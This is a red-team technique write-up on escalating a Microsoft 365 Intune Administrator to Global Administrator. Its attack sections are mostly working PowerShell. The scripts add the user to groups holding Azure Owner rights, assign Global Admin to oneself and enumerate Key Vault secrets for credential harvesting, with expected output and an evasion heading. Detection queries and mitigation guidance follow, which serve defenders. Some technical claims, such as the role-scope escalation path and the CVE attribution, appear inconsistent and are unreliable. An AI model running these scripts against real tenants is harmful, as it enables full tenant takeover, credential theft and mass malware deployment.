| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-006 |
| MITRE ATT&CK v18.1 | T1098 - Account Manipulation |
| Tactic | Privilege Escalation |
| Platforms | Microsoft 365 / Entra ID / Microsoft Intune |
| Severity | High |
| CVE | CVE-2024-38780 (Device Registration Service - FIXED in Aug 2024) |
| Technique Status | ACTIVE (primary path); PARTIAL (device registration exploitation) |
| Last Verified | 2025-01-09 |
| Affected Versions | Intune with unrestricted scope groups; Entra ID PIM not enforced |
| Patched In | Device Registration Service: August 2024 (Important) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The Intune Administrator role in Microsoft 365 grants broad permissions over Mobile Device Management (MDM) and device compliance. An attacker with Intune Admin privileges can escalate to Global Administrator through multiple vectors: (1) Scope Groups abuse - if the Intune role assignment uses the default allDevicesAndLicensedUsers scope, the admin can modify Entra ID groups that have Azure RBAC role assignments (Contributor, Owner) to assign themselves Owner access to subscriptions containing Azure resources; (2) Privileged User Management - abusing permissions to modify administrative unit assignments and Entra ID group memberships; (3) Multi-Admin Approval bypass - exploiting incomplete implementation of approval workflows; (4) Device Registration Service exploitation - compromising the DRS service principal (partially fixed in August 2024).
Unlike pure RBAC-based escalations, this technique leverages Intune’s scope management system and hybrid identity features. An Intune Admin can effectively become a directory admin by modifying security group memberships that are used for Azure RBAC or Conditional Access, or by directly escalating to Global Admin if the tenant lacks PIM enforcement.
Attack Surface: Intune Admin Center, Entra ID group management, Azure RBAC assignments, Device Registration Service, and Privileged Identity Management (if not configured).
Business Impact: Complete tenant and Azure subscription compromise. An Intune Admin can escalate to Global Administrator, gaining control over all Microsoft 365 services, Azure resources, and device management policies. This enables device enrollment of attacker-controlled devices, deployment of malware across all organization devices, creation of persistent backdoors, and manipulation of Conditional Access policies to bypass MFA.
Technical Context: This escalation typically takes 15-60 minutes depending on the path chosen. It has a medium detection likelihood because it involves multiple operations across different services (Intune, Entra ID, Azure RBAC) but does not create a single obvious audit event. The technique is particularly dangerous in hybrid environments where Intune is the primary device management solution.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmarks | 1.1.1, 1.1.5 | Restrict administrative roles; prevent elevation via scope groups |
| DISA STIG | MSFT-SR-002, MSFT-SR-003 | Device Management Controls; Administrative Role Restrictions |
| NIST 800-53 | AC-2, AC-3, AC-6 | Account Management, Access Enforcement, Least Privilege |
| GDPR | Art. 32, Art. 33 | Security of Processing; Breach Notification (device compromise) |
| DORA | Art. 9, Art. 18 | Protection and Prevention; Incident Reporting |
| NIS2 | Art. 21, Art. 23 | Cyber Risk Management; Incident Handling |
| ISO 27001 | A.6.2, A.9.2 | Administrative Role Management; Privileged Access Management |
| ISO 27005 | Risk Scenario 5.1 | Compromise of Device Management Administrator |
Supported Versions:
Required Tools:
# Connect to Intune and Microsoft Graph
Connect-MgGraph -Scopes "DeviceManagementServiceConfig.Read.All", "Directory.Read.All"
# Get current user's Intune roles
$currentUser = Get-MgContext | Select-Object -ExpandProperty Account
$userId = (Get-MgUser -Filter "userPrincipalName eq '$currentUser'").Id
# Check if user has Intune Administrator role
$intuneAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Intune Administrator'"
$isIntuneAdmin = Get-MgDirectoryRoleMember -DirectoryRoleId $intuneAdminRole.Id | Where-Object { $_.Id -eq $userId }
if ($isIntuneAdmin) {
Write-Host "✓ Current user has Intune Administrator role"
} else {
Write-Host "✗ Current user does NOT have Intune Administrator role"
exit 1
}
# Check scope groups configuration (this is KEY for escalation)
# If scope groups = "allDevicesAndLicensedUsers", escalation is possible
Write-Host "`nChecking Intune Scope Groups Configuration..."
Write-Host "Note: In production, this requires Intune API access (currently limited in PowerShell)"
Write-Host "Manual check: Intune Admin Center → Roles and Administrators → Intune Roles"
What to Look For:
allDevicesAndLicensedUsers (unrestricted) = escalation risk# Get all Entra ID security groups that have Azure RBAC assignments
Connect-AzAccount
# Get all RBAC role assignments
$roleAssignments = Get-AzRoleAssignment | Where-Object { $_.ObjectType -eq "Group" }
Write-Host "Security Groups with Azure RBAC Assignments:"
$roleAssignments | ForEach-Object {
$groupId = $_.ObjectId
$group = Get-MgGroup -GroupId $groupId -ErrorAction SilentlyContinue
if ($group) {
Write-Host "`nGroup: $($group.DisplayName)"
Write-Host " Group ID: $groupId"
Write-Host " Role: $($_.RoleDefinitionName)"
Write-Host " Scope: $($_.Scope)"
Write-Host " Members: $(Get-MgGroupMember -GroupId $groupId | Measure-Object | Select-Object -ExpandProperty Count)"
}
}
What to Look For:
# Check if Global Administrator role requires activation via PIM
$globalAdminRole = Get-MgRoleManagementPolicy -Filter "scopeId eq '/' and scopeType eq 'DirectoryRole'" |
Where-Object { $_.displayName -like "*Global Administrator*" }
if ($globalAdminRole.Rules | Where-Object { $_.IsExpirationRequired -eq $true }) {
Write-Host "✓ PIM is enforced for Global Administrator (escalation harder)"
} else {
Write-Host "✗ PIM is NOT enforced (escalation path is direct and easier)"
}
What to Look For:
Supported Versions: All M365 (2024-2025)
Objective: Establish authenticated PowerShell session with Intune Admin privileges.
Command:
# Install required modules
Install-Module Microsoft.Graph -Force
Install-Module Az -Force
# Connect to both Microsoft Graph and Azure
Connect-MgGraph -Scopes "Group.ReadWrite.All", "Directory.ReadWrite.All"
Connect-AzAccount # This will open browser for authentication
# Verify Intune Admin role
$currentUser = Get-MgContext | Select-Object -ExpandProperty Account
Write-Host "Connected as: $currentUser"
$intuneAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Intune Administrator'"
$isIntuneAdmin = Get-MgDirectoryRoleMember -DirectoryRoleId $intuneAdminRole.Id |
Where-Object { $_.Id -eq (Get-MgUser -Filter "userPrincipalName eq '$currentUser'").Id }
if ($isIntuneAdmin) {
Write-Host "✓ Confirmed: User has Intune Administrator role"
} else {
Write-Host "✗ User does NOT have Intune Administrator role"
}
Expected Output:
Connected as: intune.admin@victim.onmicrosoft.com
✓ Confirmed: User has Intune Administrator role
Objective: Find a security group that has Owner or Contributor role on an Azure subscription.
Command:
# Get all groups with Azure RBAC "Owner" role assignments
$ownerGroups = Get-AzRoleAssignment -RoleDefinitionName "Owner" |
Where-Object { $_.ObjectType -eq "Group" }
Write-Host "Groups with Owner role on subscriptions:"
$ownerGroups | ForEach-Object {
$group = Get-MgGroup -GroupId $_.ObjectId -ErrorAction SilentlyContinue
Write-Host "`nGroup: $($group.DisplayName)"
Write-Host " Group ID: $($group.Id)"
Write-Host " Scope: $($_.Scope)"
Write-Host " Owner Count: $((Get-MgGroupOwner -GroupId $group.Id | Measure-Object).Count)"
# KEY: Check if user can modify this group
# If user is in the group, they may not have owner permissions
# But as Intune Admin, they may have broader scope permissions
}
# Select a target group (choose one with minimal owners)
$targetGroupId = "00000000-0000-0000-0000-000000000000" # Replace with actual group ID
$targetGroup = Get-MgGroup -GroupId $targetGroupId
Write-Host "`nTarget Group Selected: $($targetGroup.DisplayName)"
Write-Host "Group ID: $targetGroupId"
What to Look For:
Objective: Add the Intune Admin account as a member of the group that has Owner role on subscriptions.
Command:
# Get current user's object ID
$currentUser = Get-MgUser -Filter "userPrincipalName eq '$((Get-MgContext).Account)'"
$currentUserId = $currentUser.Id
Write-Host "Adding user to Owner group: $($currentUser.UserPrincipalName)"
# Check if user is already a member
$existingMember = Get-MgGroupMember -GroupId $targetGroupId |
Where-Object { $_.Id -eq $currentUserId }
if ($existingMember) {
Write-Host "✓ User is already a member of the group"
} else {
# Add user as member
$memberRef = @{ "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$currentUserId" }
New-MgGroupMember -GroupId $targetGroupId -DirectoryObjectId $currentUserId
Write-Host "✓ User added to group: $targetGroupId"
}
# Verify membership
$newMembership = Get-MgGroupMember -GroupId $targetGroupId |
Where-Object { $_.Id -eq $currentUserId }
if ($newMembership) {
Write-Host "✓ Confirmed: User is now member of Owner group"
}
Expected Output:
Adding user to Owner group: intune.admin@victim.onmicrosoft.com
✓ User added to group: 12345678-1234-1234-1234-123456789012
✓ Confirmed: User is now member of Owner group
OpSec & Evasion:
Objective: Leverage Azure subscription Owner role to gain access to Azure AD Connect or other hybrid identity services, then escalate to Global Admin.
Command (Option A: Direct if PIM not enforced):
# If Global Administrator role is not protected by PIM, escalate directly
Disconnect-MgGraph
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"
# Get Global Administrator role
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
# Assign self as Global Administrator
$currentUser = Get-MgUser -Filter "userPrincipalName eq '$((Get-MgContext).Account)'"
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $currentUser.Id
Write-Host "ESCALATION SUCCESS: User is now Global Administrator"
Command (Option B: Via Azure Resource with Hybrid Identity Service):
# If PIM is enforced, use Azure Owner role to access Azure AD Connect Service
# Step 1: Find Azure AD Connect resource in subscription
$aadcResource = Get-AzResource -ResourceType "Microsoft.ADHybridHealthService/aaddsResourcesSet" -ErrorAction SilentlyContinue
if ($aadcResource) {
Write-Host "Found AAD Connect Service: $($aadcResource.Name)"
# Step 2: Azure Owner can access this and potentially extract credentials
# (This is a hybrid-specific escalation, requires AAD Connect present)
Write-Host "AAD Connect access available (if installed)"
} else {
Write-Host "AAD Connect not found (cloud-only tenant)"
}
# Alternative: Use Azure Owner to access Azure Key Vaults storing secrets
$keyVaults = Get-AzKeyVault
$keyVaults | ForEach-Object {
Write-Host "Key Vault: $($_.VaultName)"
# As Owner, can access secrets
$secrets = Get-AzKeyVaultSecret -VaultName $_.VaultName -ErrorAction SilentlyContinue
if ($secrets) {
Write-Host " Contains $($secrets.Count) secrets (potential credential exposure)"
}
}
What This Means:
Supported Versions: M365 without PIM enforcement (2024-2025)
Objective: Determine if Global Administrator role can be directly assigned without PIM.
Command:
# Check PIM enforcement for Global Administrator
$pimPolicy = Get-MgRoleManagementPolicy -Filter "scopeId eq '/' and scopeType eq 'DirectoryRole'" |
Where-Object { $_.displayName -like "*Global Administrator*" }
$requiresApproval = $pimPolicy.Rules | Where-Object { $_.Id -like "*Approval*" -and $_.IsEnabled -eq $true }
$requiresMFA = $pimPolicy.Rules | Where-Object { $_.Id -like "*MFA*" -and $_.IsEnabled -eq $true }
$hasExpiration = $pimPolicy.Rules | Where-Object { $_.Id -like "*Expiration*" -and $_.IsExpirationRequired -eq $true }
Write-Host "PIM Enforcement Status:"
Write-Host " Requires Approval: $(if($requiresApproval) { 'Yes (harder)' } else { 'No (easier)' })"
Write-Host " Requires MFA: $(if($requiresMFA) { 'Yes' } else { 'No' })"
Write-Host " Has Expiration: $(if($hasExpiration) { 'Yes' } else { 'No (permanent)' })"
if (-not $requiresApproval -and -not $hasExpiration) {
Write-Host "`n✓ CRITICAL: Global Admin role is unscoped - direct escalation possible!"
} else {
Write-Host "`n✗ Global Admin role is protected by PIM - escalation will be detected"
}
Objective: If Global Admin is unscoped, assign it directly to self.
Command:
# If PIM not enforced, direct assignment works
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
# If role not activated, activate it
if ($null -eq $globalAdminRole) {
$roleTemplate = Get-MgDirectoryRoleTemplate -Filter "displayName eq 'Global Administrator'"
$globalAdminRole = New-MgDirectoryRole -RoleTemplateId $roleTemplate.Id
}
# Get self
$selfUser = Get-MgUser -Filter "userPrincipalName eq '$((Get-MgContext).Account)'"
# Assign role
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $selfUser.Id
Write-Host "ESCALATION COMPLETE: You are now Global Administrator"
Supported Versions: M365 with partially implemented Multi-Admin Approval (Intune specific)
Prerequisites: Intune has Multi-Admin Approval enabled but approval workflow is improperly configured.
Objective: Identify which changes require approval (and which don’t).
Command:
# This requires Intune admin access (PowerShell support is limited)
# Manual check required in Intune Admin Center:
# 1. Intune Admin Center → Tenant administration → Roles
# 2. Click on specific role → Settings
# 3. Check if "Multi-Admin Approval" is enabled
# 4. If enabled partially (only for some actions), some changes may bypass approval
Write-Host "Multi-Admin Approval Check (Manual via Intune Portal):"
Write-Host "1. Navigate to Intune Admin Center"
Write-Host "2. Go to Tenant administration → Roles"
Write-Host "3. Select target role"
Write-Host "4. Verify which actions require approval"
Write-Host "5. If gaps exist, exploit unapproved actions for escalation"
Objective: Perform escalation action that doesn’t require approval (if gap exists).
Manual Steps:
Command:
param(
[string]$TargetGroup = "00000000-0000-0000-0000-000000000000", # Security group with Owner role
[string]$TargetUser = "intune.admin@contoso.onmicrosoft.com"
)
# Connect
Connect-MgGraph -Scopes "Group.ReadWrite.All", "RoleManagement.ReadWrite.Directory"
# Step 1: Get current user
$currentUser = Get-MgUser -Filter "userPrincipalName eq '$TargetUser'"
# Step 2: Add to Owner group
New-MgGroupMember -GroupId $TargetGroup -DirectoryObjectId $currentUser.Id
Write-Host "Step 1: Added user to group with Owner role"
# Step 3: Get Global Admin role
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
# Step 4: Assign Global Admin
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $currentUser.Id
Write-Host "Step 2: Assigned Global Administrator role"
# Verification
$isGlobalAdmin = Get-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id |
Where-Object { $_.Id -eq $currentUser.Id }
if ($isGlobalAdmin) {
Write-Host "✓ Test Successful: User is now Global Administrator"
} else {
Write-Host "✗ Test Failed: User not assigned Global Admin"
}
Cleanup Command:
# Remove Global Administrator role
$currentUser = Get-MgUser -Filter "userPrincipalName eq '$TargetUser'"
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
Remove-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $currentUser.Id
# Remove from Owner group
Remove-MgGroupMember -GroupId $TargetGroup -DirectoryObjectId $currentUser.Id
Write-Host "Cleanup Complete"
Version: 2.0+ Supported Platforms: Windows PowerShell 5.0+, PowerShell Core 7.0+ (cross-platform)
Installation:
Install-Module Microsoft.Graph -Force
Install-Module Microsoft.Graph.Groups -Force
Install-Module Microsoft.Graph.Identity.DirectoryManagement -Force
Key Cmdlets:
# Group Operations
Get-MgGroup # List security groups
Get-MgGroupMember -GroupId # List group members
New-MgGroupMember -GroupId # Add member to group (ESCALATION)
Remove-MgGroupMember -GroupId # Remove from group
# Role Operations
Get-MgDirectoryRole # List directory roles
Get-MgDirectoryRoleMember # List role members
New-MgDirectoryRoleMember # Assign role (ESCALATION)
Remove-MgDirectoryRoleMember # Revoke role
Version: 10.0+
Installation:
Install-Module Az -Force
Install-Module Az.Accounts -Force
Install-Module Az.Resources -Force
Key Cmdlets:
# RBAC Operations
Get-AzRoleAssignment # List RBAC assignments
Get-AzRoleAssignment -ObjectId # RBAC for specific group/user
Get-AzKeyVault # List Key Vaults (for credential harvesting)
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("Add member to group", "Add owner to group", "Update group")
| where Result == "Success"
| extend TargetGroupName = TargetResources[0].displayName
| extend AddedUser = TargetResources[1].userPrincipalName
| extend InitiatedByUser = InitiatedBy.user.userPrincipalName
// Look for self-additions or additions by admins to privileged groups
| where InitiatedByUser == AddedUser // Self-addition (suspicious)
or InitiatedByUser has "admin" // Admin adding member
| project
TimeGenerated,
OperationName,
TargetGroupName,
AddedUser,
InitiatedByUser,
CorrelationId
| order by TimeGenerated desc
Rule Configuration:
KQL Query:
let intuneAdminActivity = AuditLogs
| where OperationName in ("Update user", "Add member to group", "Add app role assignment")
| where TimeGenerated >= ago(2h);
let globalAdminAssignment = AuditLogs
| where OperationName in ("Add member to role", "Add eligible member to role")
| where TargetResources[0].displayName == "Global Administrator"
| where Result == "Success";
intuneAdminActivity
| join kind=inner globalAdminAssignment on InitiatedBy.user.userPrincipalName
| project
TimeGenerated,
FirstActivityType=OperationName1,
EscalationActivityType=OperationName,
TargetUser=TargetResources[0].displayName,
InitiatedByUser=InitiatedBy.user.userPrincipalName,
TimeBetweenEvents=datetime_diff('minute', TimeGenerated, TimeGenerated1)
| where TimeBetweenEvents <= 120 // Within 2 hours
Restrict Intune Administrator scope groups: Change from default allDevicesAndLicensedUsers to specific security groups containing only intended devices/users.
Applies To Versions: All Intune (2024+)
Manual Steps (Intune Admin Center):
PowerShell Validation:
# This requires Intune PowerShell SDK (currently limited API support)
# Manual verification required via Intune portal
Write-Host "Verify in Intune Admin Center → Roles → Scope (Groups)"
Implement PIM for Global Administrator role: Require time-limited activation with approval and MFA.
Manual Steps:
Implement Multi-Admin Approval for Intune role changes: Require approval from second admin for all role assignments.
Manual Steps (Intune Admin Center):
ONRestrict group modification permissions: Prevent Intune Admins from modifying Entra ID groups that have Azure RBAC assignments.
Manual Steps (Entra ID):
Implement Conditional Access for Intune Admin access: Require compliant devices and MFA.
Manual Steps:
Restrict Intune Admin AccessONMonitor Azure RBAC assignments for privileged groups: Alert when Intune admins are added to groups with Owner/Contributor roles.
Azure Policy (Monitor):
Audit (not Deny, to avoid breaking changes)Add Intune Admin account to any group with Azure RBAC Owner roleEnforce cloud-only Intune Admins: Prevent syncing Intune Admin accounts from on-premises AD.
Verification Command:
# Check if any Intune admins are hybrid synced
$intuneAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Intune Administrator'"
$intuneAdmins = Get-MgDirectoryRoleMember -DirectoryRoleId $intuneAdminRole.Id
$intuneAdmins | ForEach-Object {
$user = Get-MgUser -UserId $_.Id
if ($user.OnPremisesSyncEnabled) {
Write-Host "WARNING: $($user.UserPrincipalName) is hybrid synced (remove from Intune Admin)"
}
}
Audit and document Intune admin permissions:
Monthly Command:
# Export Intune role assignments
$intuneAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Intune Administrator'"
$intuneAdmins = Get-MgDirectoryRoleMember -DirectoryRoleId $intuneAdminRole.Id
$intuneAdmins | ForEach-Object {
$user = Get-MgUser -UserId $_.Id
Write-Host "$($user.UserPrincipalName) - $($user.DisplayName)"
} | Export-Csv "C:\Reports\IntuneAdmins_$(Get-Date -Format 'yyyyMMdd').csv"
Regularly review and remove stale Intune admin assignments:
Quarterly Review Steps:
# Step 1: Remove Global Administrator role
$escalatedUser = Get-MgUser -Filter "userPrincipalName eq 'intune.admin@victim.com'"
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
Remove-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $escalatedUser.Id
# Step 2: Remove from privileged groups
$suspiciousGroups = Get-MgGroupMember -GroupId "00000000-0000-0000-0000-000000000000"
Remove-MgGroupMember -GroupId "00000000-0000-0000-0000-000000000000" -DirectoryObjectId $escalatedUser.Id
# Step 3: Revoke all sessions
Revoke-MgUserSignInSession -UserId $escalatedUser.Id
# Step 4: Reset password
$passwordProfile = @{
Password = (New-Guid).ToString() + "P@ssw0rd!"
ForceChangePasswordNextSignIn = $true
}
Update-MgUser -UserId $escalatedUser.Id -PasswordProfile $passwordProfile
Write-Host "Containment Complete"
# Export audit logs
$incidentDate = (Get-Date).Date
$auditLogs = Search-UnifiedAuditLog -StartDate $incidentDate -EndDate $incidentDate.AddDays(1) `
-Operations "Add member to group", "Add member to role", "Update group" `
-ResultSize 5000
$auditLogs | Export-Csv "C:\Evidence\IntuneIncident_$(Get-Date -Format 'yyyyMMdd').csv"
# Export group memberships
Get-MgGroupMember -GroupId "00000000-0000-0000-0000-000000000000" |
Export-Csv "C:\Evidence\GroupMembers_$(Get-Date -Format 'yyyyMMdd').csv"
# Step 1: Review and remove unnecessary group memberships
# Step 2: Audit all Azure RBAC assignments for this user
# Step 3: Review all device enrollments during this period
# Step 4: Implement mitigations from section above
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker phishes Intune Admin credentials |
| 2 | Privilege Escalation | [PE-ACCTMGMT-006] | Escalate Intune Admin to Global Admin via scope groups |
| 3 | Persistence | Device enrollment of attacker device | Enroll rogue device with Global Admin context |
| 4 | Defense Evasion | Modify Conditional Access policies | Disable MFA, block detection tools |
| 5 | Impact | Malware deployment across all devices | Deploy ransomware or spyware to all enrolled endpoints |